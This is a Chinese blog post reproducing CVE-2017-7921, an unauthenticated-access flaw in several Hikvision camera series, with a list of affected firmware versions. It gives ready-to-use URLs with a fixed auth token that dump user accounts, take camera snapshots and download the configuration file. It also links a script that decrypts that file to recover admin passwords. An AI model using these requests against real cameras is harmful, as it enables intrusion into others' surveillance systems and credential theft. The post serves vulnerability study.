海康威视(Hikvision)多款摄像头_未授权访问[CVE-2017-7921]

海康威视(Hikvision)多款摄像头_未授权访问[CVE-2017-7921]

概要

关于海康威视多款摄像头_未授权访问[CVE-2017-7921]漏洞简单复现。
本文章仅供学习参考,无任何引导从事违法违规行为,个人行为与本文章以及作者无关!

漏洞描述

1.海康威视摄像头管理界面存在未授权访问漏洞,通过构造URL可以获取账户信息、配置文件、浏览摄像画面,通过脚本对配置文件进行解密,从而获取到管理用户名、密码。
1.2影响版本
DS-2CD2xx2F-I 系列 V5.2.0 build 140721 至 V5.4.0 build 160530
DS-2CD2xx0F-I 系列 V5.2.0 build 140721 至 V5.4.0 Build 160401
DS-2CD2xx2FWD 系列 V5.3.1 build 150410 至 V5.4.4 Build 161125
DS-2CD4x2xFWD 系列 V5.2.0 Build 140721 至 V5.4.0 Build 160414
DS-2CD4xx5 系列 V5.2.0 Build 140721 至 V5.4.0 Build 160421
DS-2DFx 系列 V5.2.0 Build 140805 至 V5.4.5 Build 160928
DS-2CD63xx 系列 V5.0.9 构建140305至 V5.3.5 构建160106设备
在这里插入图片描述
1.3获取账户信息
构造URL-----http://ip/Security/users?auth=YWRtaW46MTEK
在这里插入图片描述
1.4未授权访问当前监控信息
构造URL-----http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK
1.5获取下载配置文件(configurationFile)
构造URL-----http://ip/System/configurationFile?auth=YWRtaW46MTEK
在这里插入图片描述

脚本使用

通过脚本对configurationFile进行解密获得登录用户名、密码
2.1脚本下载链接
https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decrypto
在这里插入图片描述

2.2 电脑环境
2.2.1 python
2.2.2 依赖crypto
pip install crypto
2.3 使用方式
decrypt_configurationFile.py
在这里插入图片描述

遇到的问题

3.1 from Crypto.Cipher import AES ModuleNotFoundError: No module named ‘Crypto’
在这里插入图片描述
解决:
将C盘的C:\Users\H\AppData\Local\Programs\Python\Python310\Lib\site-packages
crypto文件夹重命名为Crypto
注:1.此路径为本作者电脑路径,路径不一定一样。
2.思路相同:修改文件夹名字

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值